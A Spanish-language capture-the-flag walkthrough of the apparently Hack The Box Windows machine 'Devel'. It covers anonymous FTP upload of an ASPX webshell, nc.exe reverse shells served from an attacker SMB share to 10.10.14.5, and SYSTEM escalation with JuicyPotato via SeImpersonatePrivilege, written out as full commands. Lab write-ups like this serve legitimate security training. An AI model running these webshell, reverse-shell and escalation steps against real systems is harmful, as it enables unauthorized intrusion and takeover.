Devel

OS: Windows
Dificultad: Fácil
Puntos: 20

Nmap Scan

ports=$(nmap -p- --min-rate=5000 -T4 10.10.10.5 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sC -sV 10.10.10.5
Nmap scan report for 10.10.10.5
Host is up (0.054s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeracion

Nmap nos muestra los puerto 21 y 80. El servicio FTP tiene activado el Anonymous login por lo tanto no requerimos usuario ni password para acceder.

Al conectarnos al servicio vemos 3 archivos que parecieran ser del puerto 80.

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49158|)
150 Opening ASCII mode data connection.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.

El puerto 80 solo muestra lo siguiente.

FTP Upload File

Despues de analizar el servicio FTP es posible escribir archivos y estos se muestran en el servidor web. Nos creamos un archivo simple.

echo test > test.txt

Lo subimos al servidor FTP.

ftp> put test.txt 
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49159|)
150 Opening ASCII mode data connection.
100% |***************************************************************************************************************************************|     6       73.24 KiB/s    --:-- ETA
226 Transfer complete.
6 bytes sent in 00:00 (0.11 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49160|)
125 Data connection already open; Transfer starting.
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
01-09-25  07:56AM                    6 test.txt
03-17-17  04:37PM               184946 welcome.png
226 Transfer complete.

Comprobamos que es posible verlo en el servidor web.

ASP Webshell

Podemos aprovecharnos de esta vulnerabilidad subiendo una webshell en ASP ya que es el tipo de servidor que esta utilizando y asi obtener ejecucion de comandos.

Copiamos una webshell en nuestro directorio actual.

cp /usr/share/webshells/aspx/cmdasp.aspx .

Lo subimos al servidor FTP.

ftp> put cmdasp.aspx 
local: cmdasp.aspx remote: cmdasp.aspx
229 Entering Extended Passive Mode (|||49161|)
125 Data connection already open; Transfer starting.
100% |***************************************************************************************************************************************|  1442       25.94 MiB/s    --:-- ETA
226 Transfer complete.
1442 bytes sent in 00:00 (25.58 KiB/s)

Comprobamos que tenemos ejecucion de comandos.

Reverse shell

Para tener una reverse shell haremos lo siguiente. Utilizaremos el binario nc.exe que descargamos de este repositorio.

Creamos un servidor SMB con impacket donde se encuentre nuestro binario nc.exe.

impacket-smbserver tmp . -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Ponemos a la escucha nuestro netcat.

nc -lvnp 1234

Ejecutamos el siguiente comando en la webshell.

\\10.10.14.5\tmp\nc.exe 10.10.14.5 1234 -e cmd.exe

Obtenemos una reverse shell.

Escalada de Privilegios

El usuario iis apppool\web cuenta con los siguientes privilegios. Vemos que cuenta con el privilegio SeImpersonatePrivilege, normalmente los usuarios o cuentas de servicio tiene ese permiso habilitado lo que nos permite escalar privielgios.

whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

SeImpersonate Privilege Escalation

El privilegio SeImpersonatePrivilege otorga la capacidad de suplantar la identidad de otro usuario dentro del sistema. Lo que implica que un atacante con acceso a un proceso que posee este privilegio podría potencialmente ejecutar comandos maliciosos con los permisos de otro usuario.

Nos guiaremos con el recurso de HackTricks para explotar la vulnerabilidad.

JuicyPotato Exploit

Para escalar privilegios utilizaremos JuicyPotato en su version x86. Una vez descargado necesitarios un CLSID valido para esto realizamos lo siguiente.

CLSID (Class Identifier) es un identificador único utilizado para identificar de manera exclusiva una clase COM (Component Object Model). Los CLSID permiten que el sistema operativo o las aplicaciones localicen e invocan estos componentes de manera eficiente.

Podemos probar algun de los CLSID que estan en esta pagina web que tengan el usuario NT AUTHORITY\SYSTEM. En este caso nos funciono el {03ca98d6-ff5d-49b8-abc6-03dd84127020}.

Note

Se tienen que probar varios CLSID hasta que uno funcione correctamente.

Ponemos a la escucha nuestro netcat.

nc -lvnp 4444

Ejecutamos el siguiente comando.

\\10.10.14.5\tmp\Juicy.Potato.x86.exe -l 1337 -c "{03ca98d6-ff5d-49b8-abc6-03dd84127020}" -p c:\windows\system32\cmd.exe -a "/c \\10.10.14.5\tmp\nc.exe 10.10.14.5 4444 -e cmd.exe" -t *

Obtenemos nuestra reverse shell.

Recursos

https://github.com/int0x33/nc.exe
https://github.com/fortra/impacket
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/juicypotato.html
https://github.com/ivanitlearning/Juicy-Potato-x86
https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise/